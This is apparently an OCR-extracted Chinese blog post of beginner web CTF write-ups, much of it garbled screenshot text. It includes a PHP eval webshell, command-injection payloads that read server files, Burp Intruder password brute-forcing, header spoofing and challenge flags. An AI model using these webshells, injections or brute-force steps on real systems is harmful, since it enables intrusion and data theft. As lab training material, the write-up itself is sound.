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burpsuite
SwitchyOmega: Chrome i 4% 14

view_source
flag: cyberpeace{cObffec917b3e51ebf26546ac2c88e79}
Writeup

BRI Z A EH R, HiEF12

[w ﬂ Elements Console Sources Network: Performance Memory  » o1 | B1

FLAG is not here R R

1
2 <html lang="en">

v (5 111.200.241.244:50344 3| <head>

. {index) 4 <mets charset="UTF-8"»

5 <titlesWhere is the FLAG</titler
6| </head>
7| <body>
8| <script»
9| document.oncontextmenu=new Function("return false")
16 document.onselectstart=new Function(“"return false")
11 </script>
1z
13
14 <h1»FLAG is not here</hl>
15
16
17| «!-- cyberpeace{c@bffecdl7b3e5lebf26546ac2cB3e79) --»
18
19| </body>

28 </html>

robots

flag: cyberpeace{829baa53f19972442¢21944e8205697f}
B %A% — T Robots & H 4 K

Robotsftj /-

1 4 Rrobotsthil ?



robots i thirobots.txt (E—/NG) R —FFFH T MR B 3 T MASCIG TSI SCASE, ElH & VRS8R 5] 218 4
CUFRPALE SRR 5 R i o PR 2 Py 2 R S A 1 R 51 SR 138 i R R I, R 28 2 v AR i 88 3R AR . B — B R Y
URLZK/NSBURI, FTLArobots.txtf S 4 B 4i— /N5 . robots ttS i B F M s AR B T . QA8 s e SC R 5118
Teas Vi iE T B R HAT N, AT LOR B 2 R E S I EIRR B 3 T Krobots.tt, 2% i Frobots ¥ (Metadata, XFRtk

) .
robots P FH AR —MTE, TR RLIEMBKI, BT UAFHASRE LRAE X 35 I B A o
2 XK Sk

User-agent: * X B i) ACE AT B 1113 5| B FhE, & — BT

Disallow: /admin/ &% £ & X 2 211 €-Fadmin H 7 T ET# H 7

Disallow: /require/ i% 2 & X 22 11 /€-Frequire H 7 F ##) H F

Disallow: /ABC/ i % & X 2 %% 1L J8-FABC H 7 T H #) H 7

Disallow: /cgi-bin/.htm ZEiL: 17 /51/cgi-bin/ B R F #9/r & KL".htm" %5 ZHIURL(E & F HR) »

Disallow: /?* 251595 el Wl v fr A B & 16 5 (?) KRk

Disallow: /jpg$ %= 1EHNELM TFTA 1 jogis i B A

Disallow:/ab/adc.html 4% 1F- € B ab 32 {4 3% T [ fjadc.htmIS 4.

Allow: /cgi-bin/ X B & S R VIR F-cgi-binH = FH H

Allow: tmp iX B 58 X 2 AR Ftmp BN B 3%

Allow: .htm$ {2 f8 ¥ 5 1] BL".htm" A J5 X FURL

Allow: .gif$ oV HIUE M T2 A gifis =X B

Sitemap: P i ] 5 YFIE HUX A BT 2 P i 1
KR VAN

robots. txt3C R B E MR B3R T . 2BIRUL, spiderty il —ANMIESE, B 58 % M ik 5 & B F Erobots. txtix 4>
SO, Gn5R SpiderfRBIXAN A, EMAMIEEANL BRIANE, REE BV HARITEE.

Writeup
BH 4 AR AR RE T, E#EiErobots.txt

® =B X @ 111.200.241.244:54428/rchot: X
€« S5 C 0O A F==|111.200241.244:54428 /robots.txt
User—-agent: #*

Disallow:
Disallow: flag_ ls h3re.php

CSDM @fR{EzEE =R
G HE Vi Rflag_1s_h3re.php
© =8 X @ 111.200.241.244:54428/f1ag '+ X =+
¢ C 0 (A F=2 | 111.200241244:54425/Flag 1S e php

cyberpeace{829baa53f19972442c21944e8205697f}

" fop o cP 0L st EE)
CSDN @fniEE: = EE

backup



flag: Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}
4 T _EAR B B ) 3R

® =B X @ =hie x 4+

C A F==| 111.200.241.244:59792

{RAlEindex.phpBYE{DL
H20L?

CSDN @4 fEf & 2 e
Writeup
3% % 4 3 index php.bak
Viial B3, TEBNXAN 4
= index.php.balcﬂl
1 E<htm.l>
2 —l<head>
= <meta charset="UTF-8">
4 <title> @ fF</citles
5 <link href="http://libs.baidn.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
g [ <atyle>
7 body{
8 margin-left:anto;
] margin-right:anto;
10 margin-TOP:200PX;
11 width:20em;
12 }
13 I <fatylex
14 F</head>
15 —|<body>
16 E<h3>ﬁ<ﬁ]iﬁindex.phpﬂ€lﬁ-ﬁiﬁ=ﬁlﬂ? </h3>
17 —|<?php
18 Sflag="Cyberpeace{855A1C4B3401254CB6604CCCOEBDE3 341"
19 7>
20 F</body>
| CSDN @fRiEHE 2N

WL 24y XA

e AR 2 PRt 5 1 RRLAR W) LA RS S B
L2 SR AR

.swp .~.bak .bash_history%%

P.S. # K330 B M) L% e F dirsearch; gitfFgithacker (Hgitclone, FTABIHzip FREHF HE)



cookie

flag: cyberpeace{f5271b509b20f15f4f740046a6{85d42)
cookieff 1 3% &1iR
1. &
HTTPHMY A & R BIREK .. HARTRER, BPARS22TEHIWH P B4 . Cookieskhr L2 — /MK Xa(EE (key-
valuett ) « B RGBS AERIER, MERESBFEZILFZHIRES, BMEHresponseln 2 7 b W 88 40 & — A~
Cookie. % il M 2s =i CookiefRFE K . H KA HiE R IZM UL, %8305 R K M hkZE [E % Cookie— [E R4
RS2, RGBT ZCookie, LANSRIHAH RS .
2. Hl#l

&P R IE—AME R B IRS 28 > RS 8% K 1% —MHttpResponse i K2 3% F i, Hdh 494 Set-Cookie ) Sk # —->% F i

R FEcookie,
Z R IR S 2 RIX1E KA, HttpRequestiE R &8 —NCookie k& >k %28 1R [B] M B $ 3 .

PLF ~cookie i & P4 {8 A x B2 A48«

Secure

WRBE TXANEM, WA RS SSHERN 4 & E4Z% Cookie

NAME=VALUE
BEXT, ATURBEREFN KeyValue, TEREIXEEK NAME A REAHAbR MK 47—+

Expires
o HART R], 7R E AN ] 5 S % Cookie Bl R
Domain

1% Cookie HI1%42, W domain="www.baidu.com”

Path
1% Cookie A& 7E 24 A RN B8 42 N A B, 40 path=/wp-admin/

3. BB MKk cookie
HttpServietResponse 2 fit i Cookie#/E R & —~addCookie(Cookie cookie), FTLAEE & Cookie R B —/N R4 i

Cookie k78 % JH % ICookie. IR E MR NCookie, W R FEHE—FZKICookie, FH¥imaxAgeiktE A0,

FF 8 i

JRRHICookieBI Rl . Fr@fCookie, Bg T value. maxAgeZ SMIJEHE, Hifiiname. path. domain#f 4415 JF R — 84
Rk BB E BRI BCR . B, MM AR DA E R CookieA FHE M. EFERNZ, NEFimikECookiekt,
AFEmaxAgerE N AR B AR AR, BASKIRE . WYAEZ Cookielf R &g namefvalue/E 1, maxAge)d

P X 4 0 B 2% F SR T Cookie 2 A 1, 17 AS B FH AR 95 B SR 1 B

Writeup

WA, FI2TTHF KE TR, #ABnetwork, & 4ATIHeader, % E|#R~cookie.php

&«

= C O A FE=2|111.200.241.244:58643 v © 0O N
[ ﬂ Elements  Console  Sources Performance Memory  » B2

_

® ® ¥ Q | OPreservelog [0 Disablecache Nothrotting ¥ T | # #
Filter O Invert [ Hide data URLs

All | Fetch/¥HR J3 35 Img Media Font Doc W5 Wasm Manifest Other [ Has blacked cookies [ Blocked Requests

[ 3rd-party requests

I 10ms 20 ms 30 ms 40 ms 50 ms 60 ms TOms 80 ms 80 ms
— :
Lxlinphy y/a=! i ?
{"J \i[]E{-i_ AECOOKIEE . Name X Headers Preview Response Initiator Timing Cookies
Bl 111.200.241.244 ¥ General
bootstrap.min.css Request URL: http://111.280. 241.244: 55643/

Request Method: GET

H e
& x|

o

100 ms 11U—r|




T LA ldl cookie.php, fEresponseffiHeader 3 Flflag

& ol

Elements  Console

bootstrap.min.css

disabled button

flag: cyberpeace{d768fc7255f5803bbf5ac4ea847be972}

® ©® ¥ Q| OPresenvelog

Filter [ Invert [ Hide data URLs
All | Fetch/¥HR JS CSS Img Mediz Font Doc W5 Wasm Manifest Other [ Has blocked cookies [ Blocked Requests
[ 3rd-party requests
I 10ms 20 ms 30 ms 40 ms 50 ms 60 ms 70 ms 80 ms 90 ms 100 ms 110l
u—
See the http response Name X Headers Preview Response Initiator Timing  Cookies

Status Code: ® 200 0K
Remote Address: 111.288.241.244:58643

Referrer Policy: strict-origin-when-cross-origin

¥ Response Headers View source
Connection: Keep-4live
Content-Encoding: gzip
Content-Length: 276

Content-Type: text/html

Date: Sun, @7 Nov 2821 B8:54:83 GMT
Keep-Alive: timeout=5, max=18@
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: look-here=cookie.php
Vary: Accept-Encoding

X-Powered-By: PHP/5.5.9-1ubuntu4.26

¥ Request Headers View source

Accept: text/html,application/xhtml+xml,application/xml;g=8.9,image/avif,ima
ge/webp,image/apng,*/*;0=0.8,application/signed-exchange;v=b3;0=0.9
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=8.9

Cache-Control: max-sge=8

Connection: keep-alive

I Cookie: look-here=cookie.php l

Host: 111.208.241.244:58643

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.8 (Windows NT 19.8; Winé4; x64) ApplellebKit/537.36 (KH
TML, like Gecko) Chrome/95.8.4638.69 Safari/537.36

CSDN @13 e
Sources MNetwork  Performance  Memory % B2 8 X
[ Disable cache No throtting ¥ = Ot ¥ -]

Request URL: http://111.28@.241.244:58643/cookie.php
Request Method: GET

Status Code: @ 208 OK

Remote Address: 111.280.241.244:58643

Referrer Policy: strict-origin-when-cross-origin

¥ Response Headers View source

Connection: Keep-Alive

Content-Encoding: gzip

Content-Length: 253

Content-Type: text/html

Date: Sun, 87 Nov 2821 89:88:81 GMT

flag: cyberpeace{f5271b5809b2af15f4f740046a655042}

Keep-Alive: timeout=5, max=99

Server: Apache/2.4.7 {(Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.5.9-1ubuntu4.26

¥ Request Headers Wiew source
Accept: text/html,application/xhtml+xml,application/xml;q=8.9,image/avif,ima
ge/webp,image/apng,*/*;g=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=8.9

Connection: keep-alive

Cookie: look-here=cookie.php

Host: 111.289.241.244:53643

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.8 (Windows NT 18.8; WinG4; x64) AppleWebKit/537.36 (KH
TML, like Gecko) Chrome/95.8.4638.69 Safarli/537.36

CSDN @i




Writeup

XA S T EA, FFF12, WAz disable

[w ﬂ Elements Console Sources Network Performancs

<html: 5
¥ <head>..</head> —
¥ <hody > Fi
<n3>—PFEeHRRIRE < b3 el
¥ form aciiog.getbod="post">
se <inpu lass="btn btn-default” style="heigh
t:5@px; Bopoc; " type="submit” value="flag" ¥
name="auth"> == §8 .b
</ form> e
< fhody> E
AN Ab}fiﬁ’]ﬁﬁ </html> s
— ™A BeiziYikH -
de
.b
flag -
de
.b
CSDN @£
5 3flag
[w ﬂ Elements Console Sources » B2 # : x
<html>
¥ <headra</head>
¥ <body >
<h3>— T HEREAER < h3
¥<form action method="post">
<input disabled class="btn btn-default” style="height:5@px;w
idth:2@8px;" type="submit” value="flag" name="auth"> == £&8
</ form>
<h3r>cyberpeace{d768fc7255Ff5383bbf5acdeald47be972}</h3>
</body>
— ANFEEI ral </html>
N BEIRAYIREH
flag
cyberpeace{d768fc7255f5803bbfoac4ea847be972}
weak_auth

flag: cyberpeace{6e391e8104f6ccf4a7d0602b4c8787b}

W8S 0<%

KP4 —BH



admin

sa
Administrator
system

administrator

Writeup




BRAMRARRT, BERART —, #xEloginasadmin
A F=% | 111.200.241.244:53054/check.php

111.200.241.244:53054 BT

please login as admin

BAHadming %, FiRRH&password error T, Bl 7 2 R Zadmin, %5 & HANburpsuite/# i — T
{§ FiBurpsuitei#t /788, %&IMFE, HiXFIntruder, H{ABIKI T LAZ] HTTP history 2 —TF

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn
ntercept HTTP history WebSockets history Options

/ Request to http://111.200.241.244:53054
‘: Forward | | Drop | | Action | | Open Browser Comment this item | \\w

Pretty IGEIUM Hex \n =

POST /check.php HTTPR/1.1

Host: 111.200.241.244:53054

Content-Length: I8

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x€4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.463B8.6% Safari/537.36
Origin: hteop://111.200.241.244:53054

Content-Type: application/x-www-form-urlencoded

10 Accept: text/html,application/xhtml+xml, application/xml;q=0.9, imags/avif, image/wehyp, image/apng, */ *; q=0.8, application/signed-exchange;v=h3;q=0
11 Referer: http://111.200.241,7"0-rFanrat

[ T

.

o

12 Aecept-Encoding: gzip, deflat Scan

13 Accept-Language: zh-CHN, zh:qg=[ .

14 Cookie: look-here=cookie.php Dopasswe scan

15 Connection: close Do active scan

1&

17 username=admwin&password=1234 Send to Intruder Ctrl-I

Send to Repeater Ctrl-R
Send to Sequencer

Send to Comparer

Send to Decoder

Request in browser ¥
Engagement tools >
Change request method

Change body encoding

Copy URL

Copy as curl command

Copy to file

Paste from file

Save item

Don't intercept requests >
Do intercept >

Convert selection

URL-encode as you type

Cut Ctrl-X
Copy Ctrl-C
Paste Ctrl-v

Message editor documentation

Proxy interception documentation ol AW

(.?) {823 |Z”:| Search...

HeIntruderfty it &, KA —NHBEEpasswd

Target Positions Payloads Resource Pool Options

® Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help
for full details.

Attack type: | Sniper ~




POST /check.php HTTP/1.1

Host: 111.200.241.244:53054

Content-Length: Z8

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: L

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =64) AppleWebKit/537.36 (KHTML, like Gecko) Chromes/95.0.4638.69 Safari/537.36

Origin: http://111.200.241.244:53054

Content-Type: application/x-www-form-urlencodesd

10 Accept:
text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, image/apng, */ *;q=0.8, application/signed-exchange;v=h3;q=
0.9

11 Referer: http://111.200.241.244:53054/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CHN, zh;qg=0.9

Cookie: look-here=coockie.php

Connection: close

Sl W P

[

I
[T

[
1

17 username=admin&passvord=§passwd§

C5DN

payload#i% I8 I [E 55 %55 B #zPaste4: 3

Target Positions Payloads Resource Pool Options

® Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack ty
payload type can be customized in different ways.

Payload set: | 1 ~ | Payload count: 28

Payload type: | Simple list w | Request count: 28

® Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

| Paste |[123
- 123456
|; Load ;l 654321
| Remove | 666666 >
|‘ Clear | 888888
' admin
superadmin
| Add || Enter a new ifem |
| Add from list ... |

® Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

Enabled Rule

® Payload Encoding

This setting can be used to URL-encode selected characters within the final payload, for safe tri

URL-encode these characters: | A=<>?+8&%:"f|*" |

CSDN @{jt!



FIGBB S, "TLLERXNERGN 123456 MK ESHMAF, FHresponsed Hflagls B

Attack Sawve Columns 4. Intruder attack of 111.200.241.244 - Temporary attack - Not saved to project file - O >
Results Target Positions Payloads Resource Pool Options

Filter: Showing all items @
Request Payload Status Error  Timeout Length Comment

0 200 434

1 123 200 434

2 123456 200 437

3 654321 200 434

4 666666 200 434

5 868888 200 434

6 admin 200 434

7 superadmin 200 434

8 sa 200 434

9 toor 200 434

10 root123 200 434

11 adminroot 200 434

12 ahr123% 200 A34

Request Response

M= Raw Hex Render \n

10 <!DOCTYPE html>
11 «html lang="en">
12 <heac>
13 <meta charset="UTF-8">
14 <title>
wealk auth

</title>
15 </ head>
16 <body>

18 cyberpeace{5e391eEIlEI4fﬁccf4aTdDED:b4cE?El?fb}|<!——maybe yvou neesd a dictionary-->

21 </bodys
22 </html>

@@ |E”§|| Search.. I 0 matches

Finished

simple_php
flag: Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

php3s KA

HIBEphpFHR T L
phpH HH F A LTS
: RAVEAL AR, T ELER
SeHWH PR R KRB R TS, BHK
=R IR g ¥ ==, R R RO R H LR
var_dump('a' == 0);//true, MEaFEFRRBEMEETE, FNaERFREFLPERRIEFE, FibliEiho
var_dump('123a' == 123);//true, XHE'123a' S#FE#H 123

var_dump('al23' == 123);//false, EAphpHFHEXFE—NHE: FRBRFHEMASRE T ERE, WRZFREUSENEFIE, NF
28w 2 e RN R E — MR, B0 LB Bk E he.

2

var_dump('123al' == 123);//true

var_dump('1233a' == 123);//false

Writeup



AR B AT I JE R — BB, BEASAIWT, #3265 AT BLE T flag

php
show_source(__FILE_);

include( );

$a=@$_GET['a'];

$b=@$_GET['b'];

if($a==0 and $a){
echo $flagi;

1
J

if(is_numeric($b)){
}
if($b>1234){

echo $flag2;

1
J

B—ANHW ER a0 H aEEtrue, FTLAEEHE?a=0a

if($a==0 and $a){
echo $flagi;

1
J

EWR T — T BB Mag

= HE X @ 111.200.241.244:57525/?a=0a X +
<« C {t A == 111.200241.24457525/?a=0a
<Pphp

show_source(_ FILE )
include ("confie. php™) ;
$a=@F_GET[ a" ]:

fo=0f _GET['b"];
if($a==0 and $a) |

} echo  $flagl;

if(is_rmmeric ($b)) |
exit():

}
if($p>1234) |

echo $flag2;
1

)

Cyberpeace{647E37C7627CC3E401

BEoAAN ZoR b RET H b ER AT 1234, Fril% B Eb=1235a

if(is_numeric($b)){
exit();

1
J

if($b>1234){
echo $flag2;

1
J



FT LA454& ipayload M i% /& ?a=1a&b=1235a, #KH{Flflag

Sil=! X @ 111.200.241.244:57525/7a=0= X  +
< C Y A F==]111.200241.244:57525/7a=0a&b=1235a
<Pphp

show_source(_ FILE )
include ("confie. php™) ;
$a=@F_GET[ a" ]:

fo=0f _GET['b"];
if($a==0 and $a) |

} echo  $flagl;

if(is_rmmeric ($b)) |
exit():

}
if ($b>1234) |

echo $flagZ:
}

P

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

CSDN @ffiEH S B

get_post
flag: cyberpeace{90e9967f91ab00433fa9b1948de3a7a5}
Writeup

RMEEERFEETH EMMAE, HackBardE# 77 E, HERHHRIZRE—T B CHBurpsuite ) — it 2
BEHMAHZHRT, HEE?a=1

IEAGETAIURR— & Ha, EN1HNEE




RIGIRE T REMPOST A %R —/1Mb=2

ISHGETAIURR— MR Na [BEAHIEE
15 LAPOST AT BE(EIR S — 12 9b, [E/92003E 2

H#Burpsuite— ##:/E #|Repeater

Dashboard Target Proxy Intruder Repeater Sequencer Decoder
1 =

Request Response

Pretty IGEIUM Hex \n =

1 GET /?a=1 HTTPR/1.1

Z Host: 111.200.241.244:59385

3 Upgrade-TInsecure-Requests: 1

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4d;
®E4) AppleWebKit/537.36 (KHTHML, like Gecko)
Chrome/95.0.4638L69 Safari/537.36

5 Accept:

text/html, application/xhtml+xml, application/xml;q=0.

G, image/avif, image/webp, image/apng, */ *;q=0.8, applica

tion/=signed-exchange;v=b3;q=0.9

Aecept-Encoding: gzip, deflate

Acecept-Language: zh-CHN, zh;q=0.9

Connection: close

1 o

=]

WMARIEGETHIIER, #iET MPOSTIERRL, FHERFIRTFERIM—HA] Content-Type: application/x-www-form-
urlencoded , TE&JE4 kb=2

POST /?a=1 HTTP/1.1

Host: 111.200.241.244:59385

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69
Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applica

tion/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Connection: close

Content-Length: 5

Content-Type: application/x-www-form-urlencoded




FKE Fflag

IBFAGETAIURR— 1R Na BN THNRE
I5BIAPOSTAIUE(ERAZ— & /b E/92HEE
cyberpeace{90e996/7/f91ab00433fa9b1948de3arad}

P ey B el — e = [
CSDN @ffiEFE 2 IR

xff_referer

R IRE W, BixA

ipHEHEEmAa123.123.123.123

WirteUp
FiBurpSuite#lll, *ikRepeatera, AT BZip, M—AX-Forworad-Forsk X-Forwarded-For: 123.123.123.123

GET / HTTP/1.1

Host: 111.200.241.244:59446

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.11
@ Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applica

tion/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;g=0.9
X-Forwarded-For: 123.123.123.123
Connection: close




R BN IX AN AR H google

PRFEEhttps fwww.google.com

Fr AT R BB %I —A Referer: https://www.google.com , IRICIERZEHL

GET / HTTP/1.1

Host: 111.200.241.244:59446

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.11
@ Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applica

tion/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9
X-Forwarded-For: 123.123.123.123
Referer: https://www.google.com

Connection: close

send, 3KfSflag

cyberpeace{55eb5e8bc260cci8bacs 16cc6888eh03)

flag

cyberpeace{55eb5e8bc260ccf8bact16cc6888eb03}



webshell
WriteUp

BFMIBRT, indexh 5T —4A)E, FAMZpostik, Z&E&shell

{F&{FEBwebshelll5?

<7php @eval($_POST['shell]);?>

BHEWSER, F3HFfag.txt, ITH Eflagit £ cyberpeace{c4463b87e528ac2fb8da937c757e2c8}

O B (0) < || O 3epbdiE (2)
=07/ OFE - 4ALE CRF S#IEER ABE + var/www/html/
=3 var £ =L Foh
=7 www
= @ flag.t«t 2021-12-19 07:45:25 44 b
[ index.php 2018-09-27 04:02:04 539 b
= HETE CSDN @frrEs= ENe
flag

cyberpeace{c4463fb87e528ac2fb8da937c757e2c8}

gl



WS R E AL hE:  https://github.com/AntSwordProject/AntSword-Loader
command_execution

XANE — iy & PAT B T AR

AT P&

windwosHllinux T, RZH LB &EE|—KIITL &4, MU T
commandl && command2 SE#H4Tcommandl, WIRAHE, BEHATcommand2.
commandl | command2 R #4Tcommand2.

commandl & command2 Z&#4Tcommand2 /54T commandl.

commandl || command2 Z&#4Tcommandl, WIEAE, EIATcommand2.

WriteUp

REping T — FAH1127.0.0.1, 7] Lhpingil

PING

FING

ping -c 3 127.8.8.1

PING 127.2.8.1 (127.8.@.1) 56(84) bytes of data.

64 bytes from 127.0.@.1: icmp_seg=1 ttl=64 time=0.120 ms
64 bytes from 127.0.@.1: icmp_seq=2 ttl=64 time=0.856 ms
64 bytes from 127.0.8.1: icmp_seq=3 ttl=64 time=0.890 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 1999ms
rtt minf/avg/max/mdev = 0.056/8.085/8.120/0.828 ms

CuOn @R E EUE

REFE T — T A EFZNBEMEE 23, 251 B FENariwww/html, SCHFHEE R Findex.php

PING

PING

ping -c 3 127.9.9.1|pwd
Svar/wen/html

— R E e


https://github.com/AntSwordProject/AntSword-Loader

FPING

SR AR ZpingaIiEt

FING

ping -c 3 127.8.8.1 & 1=

| index.php
0.0.1 (127.@.9.1) 56(84) bytes of data.

64 bytes from 127.0.8.1: icmp_seq=1 ttl=64 time=0.854 ms
64 bytes from 127.0.8.1: icmp_seq=2 ttl=64 time=0.869 ms
64 bytes from 127.0.8.1: icmp_seg=3 ttl=64 time=0.845 ms

--- 127.68.08.1 ping statistics ---
3 packets transmitted, 3 received, 9¥ packet loss, time 1998ms

rtt minf/avg/max/mdev = ©.845/8.056/8.069/8.889 WEsr @i
i -~

=5

EE| (|0
e

% B Ffindfr &R LA B A flagiF LM%M, MEpayload: 127.0.0.1 | find / -name "flag*" , RFRLHAMK, B4
7 /home H T iflag.txt.

PING

S AR E=pingaIit

PING

ping -c 3 127.8.8.1 | find / -name "flag*"

/proc/sys/kernel/sched_domain/cpud/domain@/flags
fproc/sys/kernel/sched domain/cpu@/domainl/flags
fproc/sys/kernel/sched domain/cpul/domain@/flags
/proc/sys/kernel/sched_domain/cpul/domainl/flags
/proc/sys/kernel/sched_domain/cpul@/domaingé/flags
fproc/sys/kernel/sched domain/cpul@/domainl/flags

/proc/sys/kernel/sched_domain/cpull/domaind@ffilegs::

- ¥ o e o " P P

RIGHATEcatE — T /home/Flag.txt I, payload: 127.0.0.1 | cat /home/flag.txt . 3KfEflag:
cyberpeace{aef2751f0c95e096984746b0d4c14943}

PING

SR AR ZpingaIiEt

PING

ping -c 3 127.8.8.1 | cat /home/flag.txt
cyberpeace{aef2751T0c952096984746b0d4c14943}

CEDH- B

flag



cyberpeace{aef2751f0c95e096984746b0d4c14943}

simple_js

111.200.241.244:56580 £

Enter password

ERMAEY, EFET 1

111.200.241.244:56580 £
FAUX PASSWORD HAHA

F T —RIED
BARA—BIS

function dechiffre(pass_enc){
var pass
var tab pass_enc.split( )5
var tab2 pass.split( )s;var i,j,k,1=0,m,n,0,p ;i (] tab.length;
k =3+ (1) + (n=0);
n tab2.length;
for(i (0=0); i (k Jj
if(i 5)break;}
for(i (0=0); i (k Jj
o = tab[i-1];
if(i > 5 i k-1)
p String.fromCharCode((o = tab2[i]));

n); i++ ){

1
J

p String.fromCharCode(tab2[17]);

pass = p;return pass;

1
J

String[ ](dechiffre(

h = window.prompt(
alert( dechiffre(h) );

RATTEX M) pass_enc ZEBM T ETESK D], HMAMEH, FREFAKBARSRIRF—NEGHIR %R .

n); i ){o = tab[i-1];p String.fromCharCode((o = tab2[i]));



H K N AE

String["fromCharCode" ]
(dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31
\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30") ) ; X —AJ B, X—a) KMt2HH T — T StringffJfromCharCode 77 7%,
ERMNEAERL, —BHK \x RE16HHIK, ERXNMLERKBRFERXS \uRGHI X7, F48Hpythonxt 4T #

Fit EA F Pythonse e o i) 7 F

B "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c \x31\x31\x34\x2c\x31\x31\x36\x2c
\x31\x30\x37\x2c\x34\x39\x2c\x35\x30" #1T T 43, AL F

res

for num in s.split( ):

C ( (num))

C

print(res)

RIGHH 7860sErtk12 Bitflag, {HR T E N Efaghi#g, FrLAEtR Cyberpeace{7860sErtk12}
flag

Cyberpeace{7860sErtk12}



https://blog.csdn.net/huangjin0507/article/details/79863057
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